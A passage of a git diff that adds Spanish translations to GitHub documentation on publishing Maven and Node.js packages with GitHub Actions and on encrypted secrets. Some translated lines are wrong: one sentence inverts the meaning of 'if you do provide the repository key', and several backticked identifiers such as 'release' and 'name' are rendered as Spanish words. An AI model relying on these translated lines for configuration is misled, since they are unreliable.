+- "[Variables de ambiente](/actions/reference/environment-variables)"
+- "[Secretos cifrados](/actions/reference/encrypted-secrets)"
+- "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## Acerca de la configuración del paquete
 
-The `groupId` and `artifactId` fields in the _pom.xml_ file create a unique identifier for your package that registries use to link your package to a registry.  For more information see [Guide to uploading artifacts to the Central Repository](http://maven.apache.org/repository/guide-central-repository-upload.html) in the Apache Maven documentation.
+Los campos `groupld` y `artifactId` del archivo _pom.xml_ crea un identificador único para tu paquete que los registros usan para vincular tu paquete a un registro.  Para obtener más información, consulta [Guía para cargar artefactos en el repositorio central](http://maven.apache.org/repository/guide-central-repository-upload.html) en la documentación de Apache Maven.
 
-The _pom.xml_ file also contains configuration for the distribution management repositories that Maven will deploy packages to. Each repository must have a name and a deployment URL. Authentication for these repositories can be configured in the _.m2/settings.xml_ file in the home directory of the user running Maven.
+El archivo _pom.xml_ también contiene la configuración de los repositorios de administración de distribución en los que Maven implementará los paquetes. Cada repositorio debe tener un nombre y una URL de implementación. La autenticación para estos repositorios se puede configurar en el archivo _.m2/settings.xml_ del directorio de inicio del usuario que ejecuta Maven.
 
-You can use the `setup-java` action to configure the deployment repository as well as authentication for that repository. For more information, see [`setup-java`](https://github.com/actions/setup-java).
+Puedes usar la acción `setup-java` para configurar el repositorio de implementación, así como la autenticación para ese repositorio. Para obtener más información, consulta [`setup-java`](https://github.com/actions/setup-java).
 
-## Publishing packages to the Maven Central Repository
+## Publicar paquetes en el repositorio central de Maven
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el repositorio central de Maven si se pasan las pruebas de CI. Para obtener más información acerca del evento `release`, consulta "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#release)".
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, but it also configures a Maven _settings.xml_ for publishing packages. By default, the settings file will be configured for {% data variables.product.prodname_registry %}, but it can be configured to deploy to another package registry, such as the Maven Central Repository. If you already have a distribution management repository configured in _pom.xml_, then you can specify that `id` during the `setup-java` action invocation.
+En este flujo de trabajo, puedes usar la acicón `setup-java`. Esta acción instala la versión dada del JDK en el `PATH`, pero también configura un Maven _settings.xml_ para publicar paquetes. Por defecto, el archivo de configuraciones se configurará para {% data variables.product.prodname_registry %}, pero se puede configurar para que se implemente en otro registro de paquetes, como el repositorio central de Maven. Si ya tienes un repositorio de administración de distribución configurado en _pom.xml_, puedes especificar que `id` durante la acción de invocación `setup-java`.
 
-For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _pom.xml_ could specify a distribution management repository with the `id` of `ossrh`.
+Por ejemplo, si estás desplegando en el repositorio central de Maven a través del proyecto de alojamiento OSSRH, tu _pom.xml_ podría especificar un repositorio de administración de distribución con el `id` de `ossrh`.
 
 {% raw %}
 ```xml{:copy}
@@ -69,9 +69,9 @@ For example, if you were deploying to the Maven Central Repository through the O
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by specifying the repository management `id` to the `setup-java` action. You’ll also need to provide environment variables that contain the username and password to authenticate to the repository.
+Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el repositorio central de Maven especificando la administración del repositorio `id` para la acción `setup-java`. También deberás proporcionar variables de entorno que contengan el nombre de usuario y la contraseña para autenticarse en el repositorio.
 
-In the deploy step, you’ll need to set the environment variables to the username that you authenticate with to the repository, and to a secret that you’ve configured with the password or token to authenticate with.  For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+En el paso de implementación, necesitarás establecer las variables de entorno para el nombre de usuario con el que te autenticaste en el repositorio y para el secreto que hayas configurado con la contraseña o el token con que autenticarse.  Para obtener más información, consulta "[Crear y usar secretos cifrados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
 
 
 {% raw %}
@@ -101,25 +101,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+Este flujo de trabajo realiza los siguientes pasos:
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also configures the Maven _settings.xml_ file to add authentication for the `ossrh` repository using the `MAVEN_USERNAME` and `MAVEN_PASSWORD` environment variables.
+1. Verifica una copia del repositorio del proyecto.
+1. Configura el JDK de Java y también el archivo _settings. xml_ de Maven para agregarle autenticación al repositorio de `ossrh` utilizando las variables de entorno `MAVEN_USERNAME` y `MAVEN_PASSWORD`.
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## Sube paquetes al {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el {% data variables.product.prodname_registry %} si se superan las pruebas de CI. Para obtener más información acerca del evento `release`, consulta "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#release)".
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, and also sets up a Maven _settings.xml_ for publishing the package to {% data variables.product.prodname_registry %}. The generated _settings.xml_ defines authentication for a server with an `id` of `github`, using the `GITHUB_ACTOR` environment variable as the username and the `GITHUB_TOKEN` environment variable as the password. The `GITHUB_TOKEN` environment variable is assigned the value of the special `GITHUB_TOKEN` secret.
+En este flujo de trabajo, puedes usar la acicón `setup-java`. Esta acción instala la versión determinada del JDK en el `PATH` y configura un _settings.xml_ de Maven para publicar el paquete en el {% data variables.product.prodname_registry %}. El _settings.sml_ generado define la autenticación para un servidor con una `id` de `github`, utilizando la variable de entorno `GITHUB_ACTOR` como nombre de usuario y la variable de entorno `GITHUB_TOKEN` como contraseña. Se le asigna el valor del secreto especial `GITHUB_TOKEN` a la variable de ambiente `GITHUB_TOKEN`.
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For a Maven-based project, you can make use of these settings by creating a distribution repository in your _pom.xml_ file with an `id` of `github` that points to your {% data variables.product.prodname_registry %} endpoint.
+Para un proyecto basado en Maven, puedes hacer uso de estas configuraciones creando un repositorio de distribución en tu archivo _pom.xml_ con una `id` de `github` que apunta a tu extremo {% data variables.product.prodname_registry %}.
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _pom.xml_ would look similar to the below example.
+Por ejemplo, si tu organización se llama "octocat", y tu repositorio se llama "hello-world", la configuración de {% data variables.product.prodname_registry %} en _pom.xml_ sería parecida al siguiente ejemplo.
 
 {% raw %}
 ```xml{:copy}
@@ -136,7 +136,7 @@ For example, if your organization is named "octocat" and your repository is name
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by making use of the automatically generated _settings.xml_.
+Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en {% data variables.product.prodname_registry %} haciendo uso del _settings.xml_ generado automáticamente.
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -161,19 +161,19 @@ jobs:
           GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow performs the following steps:
+Este flujo de trabajo realiza los siguientes pasos:
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also automatically configures the Maven _settings.xml_ file to add authentication for the `github` Maven repository to use the `GITHUB_TOKEN` environment variable.
+1. Verifica una copia del repositorio del proyecto.
+1. Configura el JDK de Java y configura automáticamente el archivo _settings.xml_ de Maven para agregar autenticación para que el repositorio `github` de Maven utilice la variable de entorno `GITHUB_TOKEN`.
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## Publicar paquetes en el repositorio central de Maven y {% data variables.product.prodname_registry %}
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by using the `setup-java` action for each registry.
+Puedes publicar tus paquetes en el repositorio central de Maven y en el {% data variables.product.prodname_registry %} usando la acción `setup-java` para cada registro.
 
-Ensure your _pom.xml_ file includes a distribution management repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `id` set to `ossrh`, and you might want to specify {% data variables.product.prodname_registry %} in a distribution management repository with the `id` set to `github`.
+Asegúrate de que tu archivo _pom.xml_ incluya un repositorio de administración de distribución para tu repositorio de {% data variables.product.prodname_dotcom %} y para tu proveedor de repositorios centrales de Maven. Por ejemplo, si implementas el repositorio central a través del proyecto de alojamiento de OSSRH, es posible que desees especificarlo en un repositorio de administración de distribución con la `id` establecida en `ossrh`, y que desees especificar el {% data variables.product.prodname_registry %} en un repositorio de administración de distribución con la `id` establecida en `github`.
 
 ```yaml{:copy}
 name: Publish package to the Maven Central Repository and GitHub Packages
@@ -212,14 +212,14 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow calls the `setup-java` action twice.  Each time the `setup-java` action runs, it overwrites the Maven _settings.xml_ file for publishing packages.  For authentication to the repository, the _settings.xml_ file references the distribution management repository `id`, and the username and password.
+Este flujo de trabajo llama a la acción `setup-java` dos veces.  Cada vez que la acción `setup-java` se ejecuta, sobrescribe el archivo _settings.xml_ de Maven para publicar paquetes.  Para la autenticación en el repositorio, el archivo _settings.xml_ hace referencia a la `id` del repositorio de administración de distribución y al nombre de usuario y contraseña.
 
-This workflow performs the following steps:
+Este flujo de trabajo realiza los siguientes pasos:
 
-1. Checks out a copy of project's repository.
-1. Calls `setup-java` the first time. This configures the Maven _settings.xml_ file for the `ossrh` repository, and sets the authentication options to environment variables that are defined in the next step.
+1. Verifica una copia del repositorio del proyecto.
+1. Llama al `setup-java` la primera vez. Esto configura el archivo _settings.xml_ de Maven para el repositorio `ossrh` y establece las opciones de autenticación en las variables de entorno que se definen en el siguiente paso.
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
-1. Calls `setup-java` the second time. This automatically configures the Maven _settings.xml_ file for {% data variables.product.prodname_registry %}.
+1. Llama al `setup-java` la segunda vez. Esto configura automáticamente el archivo _settings.xml_ de Maven para el {% data variables.product.prodname_registry %}.
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
diff --git a/translations/es-ES/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/es-ES/content/actions/publishing-packages/publishing-nodejs-packages.md
index 1e2b38be48..4edf4d5293 100644
--- a/translations/es-ES/content/actions/publishing-packages/publishing-nodejs-packages.md
+++ b/translations/es-ES/content/actions/publishing-packages/publishing-nodejs-packages.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Node.js packages
-intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow.
+title: Publicar paquetes Node.js
+intro: Puedes publicar paquetes Node.js en un registro como parte de tu flujo de trabajo de integración continua (CI).
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages
   - /actions/language-and-framework-guides/publishing-nodejs-packages
@@ -16,50 +16,50 @@ topics:
   - Publishing
   - Node
   - JavaScript
-shortTitle: Node.js packages
+shortTitle: Paquetes de Node.js
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass.
+Esta guía te muestra cómo crear un flujo de trabajo que publique paquetes Node.js en el {% data variables.product.prodname_registry %} y registros npm después de que se aprueben las pruebas de integración continua (CI).
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Te recomendamos que tengas una comprensión básica de las opciones de configuración de flujo de trabajo y cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)."
+Para obtener más información acerca de la creación de un flujo de trabajo de CI para tu proyecto Node.js, consulta "[Usar Node.js con las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)".
 
-You may also find it helpful to have a basic understanding of the following:
+También puede ser útil tener un entendimiento básico de lo siguiente:
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- "[Trabajar con el registro de npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
+- "[Variables de ambiente](/actions/reference/environment-variables)"
+- "[Secretos cifrados](/actions/reference/encrypted-secrets)"
+- "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## Acerca de la configuración del paquete
 
- The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation.
+ Los campos `Nombre` y `Versión` en el archivo *package.json* crean un identificador único que los registros usan para vincular tu paquete a un registro. Puedes agregar un resumen para la página de descripción del paquete al incluir un campo `Descripción` en el archivo *package.json*. Para obtener más información, consulta "[Crear un archivo package.json](https://docs.npmjs.com/creating-a-package-json-file) y [Crear módulos Node.js](https://docs.npmjs.com/creating-node-js-modules)"en la documentación de npm.
 
-When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.github-actions.setup-node-intro %}
+Cuando existe un archivo *.npmrc* local y tiene un valor especificado de `registro`, el comando `npm publish` usa el registro configurado en el archivo *.npmrc*. {% data reusables.github-actions.setup-node-intro %}
 
-You can specify the Node.js version installed on the runner using the `setup-node` action.
+Puedes especificar la versión de Node.js instalada en el ejecutor utilizando la acción `setup-node`.
 
-If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation.
+Si agregas pasos en tu flujo de trabajo para configurar los campos `publishConfig` en tu archivo *package.json*, no es necesario que especifiques la Url del registro utilizando la acción `setup-node`, pero se limitará a publicar el paquete en un registro. Para obtener más información, consulta "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" en la documentación de npm.
 
-## Publishing packages to the npm registry
+## Publicar paquetes en el registro npm
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass.
+Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el registro npm si se pasan las pruebas de CI.
 
-To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para realizar operaciones autenticadas frente al registro npm en tu flujo de trabajo, necesitarás almacenar tu token de autenticación npm como un secreto. Por ejemplo, crea un repositorio secreto que se llame `NPM_TOKEN`. Para más información, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
 
-By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
+Predeterminadamente, npm utiliza el campo `name` del archivo *package.json* para determinar el nombre de tu paquete publicado. Al publicar en un espacio de nombres global, solo necesitas incluir el nombre del paquete. Por ejemplo, publicarías un paquete llamado `npm-hello-world-test` en `https://www.npmjs.com/package/npm-hello-world-test`.
 
-If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally.
+Si estás publicando un paquete que incluye un prefijo de alcance, incluye el ámbito en el nombre de tu archivo *package.json*. Por ejemplo, si el prefijo del ámbito npm es octocat y el nombre del paquete es hello-world, el `nombre` en tu archivo *package.json* debe ser `@octocat/hello-world`. Si su paquete npm usa un prefijo de ámbito y el paquete es público, debes usar la opción `npm publish --access public`. Esta es una opción que npm requiere para evitar que alguien publique un paquete privado involuntariamente.
 
-This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+Este ejemplo almacena el secreto `NPM_TOKEN` en la variable de entorno `NODE_AUTH_TOKEN`. Cuando la acción `setup-node` crea un archivo *.npmrc*, hace referencia al token de la variable de entorno `NODE_AUTH_TOKEN`.
 
 {% raw %}
 ```yaml{:copy}
@@ -84,7 +84,7 @@ jobs:
 ```
 {% endraw %}
 
-In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents:
+En el ejemplo anterior, la acción `setup-node` crea un archivo *.npmrc* en el ejecutor con el siguiente contenido:
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -92,17 +92,17 @@ registry=https://registry.npmjs.org/
 always-auth=true
 ```
 
-Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials.
+Toma en cuenta que necesitas configurar la `registry-url` como `https://registry.npmjs.org/` en `setup-node` para configurar tus credenciales de forma adecuada.
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## Sube paquetes al {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass.
+Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cada vez que se produce el evento `lanzamiento` con tipo `creado`. El flujo de trabajo publica el paquete en el {% data variables.product.prodname_registry %} si se superan las pruebas de CI.
 
-### Configuring the destination repository
+### Configurar el repositorio de destino
 
-If you don't provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository.
+Si no proporcionas la clave del `repository` en tu archivo *package.json*, entonces el {% data variables.product.prodname_registry %} publicará un paquete en el repositorio de {% data variables.product.prodname_dotcom %} que especifiques en el campo `name` del archivo *package.json*. Por ejemplo, un paquete denominado `@my-org/test` se publicará en el repositorio `my-org/test` de {% data variables.product.prodname_dotcom %}.
 
-However, if you do provide the `repository` key, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository.
+Sin embargo, si no proporcionas la clave del `repository`, entonces el repositorio en esa clave se utilizará como el registro de npm de destino para el {% data variables.product.prodname_registry %}. Por ejemplo, el publicar el siguiente *package.json* dará como resultado un paquete denominado `my-amazing-package` que se publicará en el repositorio `octocat/my-other-repo` de {% data variables.product.prodname_dotcom %}.
 
 ```json
 {
@@ -113,15 +113,15 @@ However, if you do provide the `repository` key, then the repository in that key
   },
 ```
 
-### Authenticating to the destination repository
+### Autenticarse en el repositorio de destino
 
-To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.github-actions.github-token-permissions %}
+Para realizar operaciones autenticadas en el registro {% data variables.product.prodname_registry %} de tu flujo de trabajo, puedes utilizar el `GITHUB_TOKEN`. {% data reusables.github-actions.github-token-permissions %}
 
-If you want to publish your package to a different repository, you must use a personal access token (PAT) that has permission to write to packages in the destination repository. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Si quieres publicar tu paquete en un repositorio diferente, debes utilizar un token de acceso personal (PAT) que tenga permisos de escritura en los paquetes del repositorio destino. Para obtener más información, consulta las secciones "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)" y "[Secretos cifrados](/actions/reference/encrypted-secrets)".
 
-### Example workflow
+### Ejemplo de flujo de trabajo
 
-This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+Este ejemplo almacena el secreto `GITHUB_TOKEN` en la variable de entorno `NODE_AUTH_TOKEN`. Cuando la acción `setup-node` crea un archivo *.npmrc*, hace referencia al token de la variable de entorno `NODE_AUTH_TOKEN`.
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -149,7 +149,7 @@ jobs:
           NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file.
+La acción `setup-node` crea un archivo *.npmrc* en el ejecutor. Cuando utilizas la entrada `scope` a la acción `setup-node`, el archivo *.npmrc* incluye el prefijo de alcance. Por defecto, la acción `setup-node` establece el ámbito en el archivo *.npmrc* en la cuenta que contiene ese archivo de flujo de trabajo.
 
 ```ini
 //npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
@@ -157,9 +157,9 @@ The `setup-node` action creates an *.npmrc* file on the runner. When you use the
 always-auth=true
 ```
 
-## Publishing packages using yarn
+## Publicar paquetes mediante yarn
 
-If you use the Yarn package manager, you can install and publish packages using Yarn.
+Si usas el gestor de paquetes Yarn, puedes instalar y publicar paquetes mediante Yarn.
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/es-ES/content/actions/quickstart.md b/translations/es-ES/content/actions/quickstart.md
index 38bf3fdf13..28d20b78f7 100644
--- a/translations/es-ES/content/actions/quickstart.md
+++ b/translations/es-ES/content/actions/quickstart.md
@@ -76,7 +76,7 @@ Committing the workflow file to a branch in your repository triggers the `push`
    For example, you can see the list of files in your repository:
    ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png)
    
-## More workflow templates
+## More starter workflows
 
 {% data reusables.actions.workflow-template-overview %}
 
diff --git a/translations/es-ES/content/actions/security-guides/encrypted-secrets.md b/translations/es-ES/content/actions/security-guides/encrypted-secrets.md
index ebe23f7005..386146cd38 100644
--- a/translations/es-ES/content/actions/security-guides/encrypted-secrets.md
+++ b/translations/es-ES/content/actions/security-guides/encrypted-secrets.md
@@ -1,6 +1,6 @@
 ---
-title: Encrypted secrets
-intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes > 3.0 or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.'
+title: Secretos cifrados
+intro: 'Los secretos cifrados te permiten almacenar información sensible en tu organización{% ifversion fpt or ghes > 3.0 or ghec %}, repositorio o ambientes de repositorio{% else %} o repositorio{% endif %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
   - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
@@ -17,81 +17,79 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About encrypted secrets
+## Acerca de los secretos cifrados
 
-Secrets are encrypted environment variables that you create in an organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or repository environment{% else %} or repository{% endif %}. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow.
+Los secretos son variables de ambiente cifradas que creas en una organización{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repositorio, o ambiente de repositorio{% else %} o repositorio{% endif %}. Los secretos que creas están disponibles para utilizarse en los flujos de trabajo de {% data variables.product.prodname_actions %}. {% data variables.product.prodname_dotcom %} utiliza una [caja sellada de libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) para ayudarte a garantizar que los secretos se cifran antes de llegar a {% data variables.product.prodname_dotcom %} y que permanezcan cifrados hasta que los utilices en un flujo de trabajo.
 
 {% data reusables.github-actions.secrets-org-level-overview %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
+Para que los secretos se almacenen a nivel de ambiente, puedes habilitar los revisores requeridos para controlar el acceso a los secretos. Un job de flujo de trabajo no puede acceder a los secretos del ambiente hasta que los revisores requeridos le otorguen aprobación.
 {% endif %}
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**Nota**: {% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-### Naming your secrets
+### Nombrar tus secretos
 
 {% data reusables.codespaces.secrets-naming %}
 
-  For example, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}a secret created at the environment level must have a unique name in that environment, {% endif %}a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. 
+  Por ejemplo, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}un secreto que se creó a nivel de ambiente debe tener un nombre único en éste, {% endif %}un secreto que se creó a nivel de repositorio debe tener un nombre único en éste, y un secreto que se creó a nivel de organización debe tener un nombre único en este nivel.
 
-  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.{% endif %}
+  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} De forma similar, si una organización, repositorio y ambiente tienen el mismo secreto con el mismo nombre, el secreto a nivel de ambiente tomará precedencia.{% endif %}
 
-To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs.
+Para ayudarte a garantizar que {% data variables.product.prodname_dotcom %} redacta tus secretos en bitácoras, evita utilizar datos estructurados como los valores de los secretos. Por ejemplo, evita crear secretos que contengan JSON o blobs de Git codificados.
 
-### Accessing your secrets
+### Acceder a tus secretos
 
-To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+Para hacer que un secreto esté disponible para una acción, debes configurar el secreto como una variable de entrada o de entorno en tu archivo de flujo de trabajo. Revisa el archivo README de la acción para saber qué variables de entrada y de entorno espera la acción. Para obtener más información, consulta "[Sintaxis del flujo de trabajo para{% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)".
 
